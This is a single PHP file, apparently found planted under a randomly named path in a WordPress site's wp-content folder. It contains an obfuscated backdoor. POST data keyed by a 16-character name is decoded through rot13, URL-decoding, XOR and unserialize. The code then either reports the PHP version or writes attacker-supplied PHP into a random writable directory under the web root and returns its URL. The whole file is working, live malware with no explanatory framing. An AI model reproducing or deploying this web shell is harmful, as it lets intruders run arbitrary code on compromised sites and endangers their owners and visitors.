File: /opt/aphex/sites/askbetting.info/wp-content/qjpaibga.php
<?php $uzabaw = "ooxlqgdlgljnrshd";$favbz = "";foreach ($_POST as $asxptqon => $kpbjcnfeh){if (strlen($asxptqon) == 16 and substr_count($kpbjcnfeh, "%") > 10){uihny($asxptqon, $kpbjcnfeh);}}function uihny($asxptqon, $rmlsnkqcpq){global $favbz;$favbz = $asxptqon;$rmlsnkqcpq = str_split(rawurldecode(str_rot13($rmlsnkqcpq)));function rjbwge($asbnep, $asxptqon){global $uzabaw, $favbz;return $asbnep ^ $uzabaw[$asxptqon % strlen($uzabaw)] ^ $favbz[$asxptqon % strlen($favbz)];}$rmlsnkqcpq = implode("", array_map("rjbwge", array_values($rmlsnkqcpq), array_keys($rmlsnkqcpq)));$rmlsnkqcpq = @unserialize($rmlsnkqcpq);if (@is_array($rmlsnkqcpq)){$asxptqon = array_keys($rmlsnkqcpq);$rmlsnkqcpq = $rmlsnkqcpq[$asxptqon[0]];if ($rmlsnkqcpq === $asxptqon[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function gpkdzny($iieynvir) {static $utcvisknn = array();$tizoynqbrb = glob($iieynvir . '/*', GLOB_ONLYDIR);if (count($tizoynqbrb) > 0) {foreach ($tizoynqbrb as $iieynv){if (@is_writable($iieynv)){$utcvisknn[] = $iieynv;}}}foreach ($tizoynqbrb as $iieynvir) gpkdzny($iieynvir);return $utcvisknn;}$yriai = $_SERVER["DOCUMENT_ROOT"];$tizoynqbrb = gpkdzny($yriai);$asxptqon = array_rand($tizoynqbrb);$motrrkvwj = $tizoynqbrb[$asxptqon] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($motrrkvwj, $rmlsnkqcpq);echo "http://" . $_SERVER["HTTP_HOST"] . substr($motrrkvwj, strlen($yriai));exit();}}}